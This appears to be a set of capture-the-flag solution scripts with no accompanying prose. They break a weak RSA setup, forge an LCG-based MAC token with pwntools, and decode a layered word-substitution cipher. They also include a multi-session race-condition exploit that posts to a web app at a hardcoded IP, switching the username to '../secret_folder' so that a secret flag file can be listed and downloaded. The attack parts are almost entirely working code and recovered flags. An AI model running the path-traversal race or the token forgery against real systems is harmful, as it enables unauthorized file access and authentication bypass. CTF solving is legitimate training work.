from Crypto.Util.number import getStrongPrime,bytes_to_long
from gmpy2 import next_prime
from secret import flag

def generate_secure_primes():
	p = getStrongPrime(1024)
	q = int(next_prime(p*13-37*0xcafebabe))
	return p,q

# Generate two large and secure prime numbers
p,q = generate_secure_primes()
n = p*q
e = 0x10001
phi = (p-1)*(q-1)
c = pow(bytes_to_long(flag),e,n)

print(f"{phi=}")
print(f"{e=}")
print(f"{c=}")

# Output
# phi=340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
# e=65537
# c=42363396533514892337794168740335890147978814270714150292304680028514711494019233652215720372759517148247019429253856607405178460072049996513931921948067945946086278782910016494966199807084840772350780861440737097778578207929043800432279437709296060384506082883401105820800844187947410153745248466533960754243807208804084908637481187348394987532434982032302570226378255458486161579167482667571132674473067323283939026297508548130085016660893371076973067425309491443342096329853486075971866389182944671697660246503465740169215121081002338163263904954365965203570590704089906222868145676419033148652705335290006075758484

def generate_secure_primes():
	p = getStrongPrime(1024)
	q = int(next_prime(p*13-37*0xcafebabe))
	return p,q

# Use sage to solve the equation for phi and q=p*13-37*0xcafebabe+c
p=var('p')
phi=340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
# Brute force the number c
for c in range(0,1000,2):
	print(c)
	for sol in solve([(p-1)*(p*13-37*0xcafebabe+c-1)==phi],p,solution_dict=True):
		# found p if solution is integer
		if sol[p] in ZZ:
			print(sol[p])
			exit()

from Crypto.Util.number import *
p = 161858851126363750131252278443447168260852575582585451640814432234372639248575999813974282205976906890574920486285708765150639612195410229043083289561691094157966293503325568381598667787734900472194008968504777213838234481951932391653763314418452086665006225863274324640443184430553056738832834747049214763773
phi = 340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
e = 65537
c = 42363396533514892337794168740335890147978814270714150292304680028514711494019233652215720372759517148247019429253856607405178460072049996513931921948067945946086278782910016494966199807084840772350780861440737097778578207929043800432279437709296060384506082883401105820800844187947410153745248466533960754243807208804084908637481187348394987532434982032302570226378255458486161579167482667571132674473067323283939026297508548130085016660893371076973067425309491443342096329853486075971866389182944671697660246503465740169215121081002338163263904954365965203570590704089906222868145676419033148652705335290006075758484
d = pow(e,-1,phi)
print(long_to_bytes(pow(c,d,p)))
# b'wgmy{a9722440198c2abad490478875be2815}'

def verifyToken(self):
		x = bytes_to_long(self.name.encode(errors="surrogateescape"))
		# LCG fast skip implementation
		# is equivalent to the following code
		# for _ in range(n):
		# 	x = (a*x + c) % m
		x = ((pow(a, n, (a-1)*m) - 1) // (a-1) * c + pow(a, n, m) * x) % m
		return hex(x)[2:] == self.mac

for _ in range(n):
 	x = (a*x + c) % m

from Crypto.Util.number import *
m = 0xb00ce3d162f598b408e9a0f64b815b2f
k = (bytes_to_long(b"Santa Claus")-bytes_to_long(b"test"))*pow(m, -1,2**88)%2**88
name = long_to_bytes(bytes_to_long(b"test")+k*m)
print(name)
# b'\x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus'

from Crypto.Util.number import *
from pwn import *
context.log_level = "debug"
p = process(["python3","server.py"])
p.sendlineafter("option: ",'1')
p.sendlineafter("name: ","test")
p.sendlineafter("option: ",'2')
p.sendlineafter("name: ","\x1dxn\xe3\x1e8\x84\x1cAE-Z\xbb\xd9\x86jSanta Claus")
p.interactive()

from Crypto.Util.number import *
m = 0xb00ce3d162f598b408e9a0f64b815b2f
a = 0xaaa87c7c30adc1dcd06573702b126d0d
c = 0xcaacf9ebce1cdf5649126bc06e69a5bb
x = pow(1-a,-1,m)*c
k = (bytes_to_long(b"Santa Claus")-x)*pow(m, -1,2**88)%2**88
token = hex(x%m)[2:]
x = x+k*m
print(token)
print(long_to_bytes(x))
# 1327b0e270df8c87fc0e6e7be6bdd2e1
# b'\x16O?\xf4\x9a8,\xe9\xde\xc7%c\xde\x06h\xf7q\xc1\xc6e\x8aSanta Claus'

from Crypto.Util.number import *
from pwn import *
m = 0xb00ce3d162f598b408e9a0f64b815b2f
a = 0xaaa87c7c30adc1dcd06573702b126d0d
c = 0xcaacf9ebce1cdf5649126bc06e69a5bb
p = process(["python3","server.py"])
p.sendlineafter("option: ",'2')
p.sendlineafter("name: ",b'\x16O?\xf4\x9a8,\xe9\xde\xc7%c\xde\x06h\xf7q\xc1\xc6e\x8aSanta Claus')
p.interactive()

import requests
import multiprocessing
import re
# run docker in cloud server (race condition may require more cpu resources)
URL = "http://167.71.197.192:1337"
s1 = requests.Session()
data = {
	"username":"test",
	"password":"test"
}
s1.post(URL+"/register.php",data=data)
s1.post(URL+"/login.php",data=data)
# require two session to exploit
s2 = requests.Session()
r = s2.post(URL+"/login.php",data=data)

def changeUsername():
	d = {
		"username":"test",
		"current_password":"test",
		"new_password":"test"
	}
	while True:
		d["username"] = "test"
		s1.post(URL+"/settings.php",data=d)
		d["username"] = "../secret_folder"
		s1.post(URL+"/settings.php",data=d)
# Start a thread that will constantly change username
t1 = multiprocessing.Process(target=changeUsername, args=())
t1.start()
# The main thread will goto drive.php to see if the file name is leaked
while True:
	r = s2.get(URL+"/drive.php")
	if "flag" in r.text:
		result = re.findall("(flag-[a-f0-9]+\.txt)", r.text)
		file_name = result[0]
		break
print("File name:"+file_name)
t1.terminate()
# File name:flag-bf49e780adf2bdfd5400e5bc1c93a949.txt

import requests
import multiprocessing
import re
# run docker in cloud server (race condition may require more cpu resources)
URL = "http://167.71.197.192:1337"
s1 = requests.Session()
# may need to change username to ../secret_folder
data = {
	"username":"test",
	"password":"test"
}
s1.post(URL+"/register.php",data=data)
s1.post(URL+"/login.php",data=data)
# require two session to exploit
s2 = requests.Session()
r = s2.post(URL+"/login.php",data=data)

def changeUsername():
	d = {
		"username":"test",
		"current_password":"test",
		"new_password":"test"
	}
	while True:
		d["username"] = "test"
		s1.post(URL+"/settings.php",data=d)
		d["username"] = "../secret_folder"
		s1.post(URL+"/settings.php",data=d)
# Start a thread that will constantly change username
t1 = multiprocessing.Process(target=changeUsername, args=())
t1.start()
# The main thread will goto drive.php to see if the file name is leaked
while True:
	r = s2.get(URL+"/drive.php")
	if "flag" in r.text:
		result = re.findall("(flag-[a-f0-9]+\.txt)", r.text)
		file_name = result[0]
		break
print("File name:"+file_name)
t1.terminate()
# change username back to test
d = {
	"username":"test",
	"current_password":"test",
	"new_password":"test"
}
s1.post(URL+"/settings.php",data=d)
open(file_name,'wb').write(b"test")
# upload the flag file name into our drive
r = s1.post(URL+"/drive.php",files={'fileToUpload': open(file_name,'rb')},data={"submit":""})
result = re.findall("hash\=([a-f0-9]+)", r.text)
# get the hash
h = result[0]
print("hash: "+h)
# Start a thread that will constantly change username
t1 = multiprocessing.Process(target=changeUsername, args=())
t1.start()
# Main thread will download the file using the hash and flag file name
# If found flag format it will print the flag
while True:
	r = s2.get(URL+"/download.php?file="+file_name+"&hash="+h)
	if "wgmy{" in r.text:
		result = re.findall("(wgmy{.*})", r.text)
		print("Flag: "+result[0])
		break
t1.terminate()

from Crypto.Util.number import *
text = open("result",'rb').readline()
text = text.decode()
text = text.replace("Sayur", "0").replace("Kemudian", "1").replace("Banyak", "2").replace("Latih", "3")
text = long_to_bytes(int(text,4)).decode()
print(text)
# PracticeManyThenThenManyPracticeVegetableVegetableManyPracticeVegetableThenPracticeManyThenPracticeManyPracticeManyPracticeManyVegetableVegetablePracticePracticeManyThenThenManyPracticeVegetableVegetable...

from Crypto.Util.number import *
text = open("result",'rb').readline()
text = text.decode()
text = text.replace("Sayur", "0").replace("Kemudian", "1").replace("Banyak", "2").replace("Latih", "3")
text = long_to_bytes(int(text,4)).decode()
text = text.replace("Vegetable", "0").replace("Then", "1").replace("Many", "2").replace("Practice", "3")
text = long_to_bytes(int(text,4)).decode()
print(text)
# 就练就练就多就练就多练就就练多就就练多练菜练菜菜就多菜练就多就就就多菜练菜练菜就菜练菜菜菜练就多菜练菜多菜练多菜菜练菜菜菜练多就就多菜就就多就菜菜练就菜就多就就菜练菜练菜练多就菜练菜练就多就多菜练菜菜就多菜就就多菜练就多菜多就多就多就多菜就菜练多菜菜练多就菜练就就就多就多菜练菜多菜练多就就多就多就练练就

from Crypto.Util.number import *
text = open("result",'rb').readline()
text = text.decode()
text = text.replace("Sayur", "0").replace("Kemudian", "1").replace("Banyak", "2").replace("Latih", "3")
text = long_to_bytes(int(text,4)).decode()
text = text.replace("Vegetable", "0").replace("Then", "1").replace("Many", "2").replace("Practice", "3")
text = long_to_bytes(int(text,4)).decode()
text = text.replace("菜", "0").replace("就", "1").replace("多", "2").replace("练", "3")
text = long_to_bytes(int(text,4)).decode()
print(text)
# wgmy{0cec1062809ad4e393f0acbfa895f29f}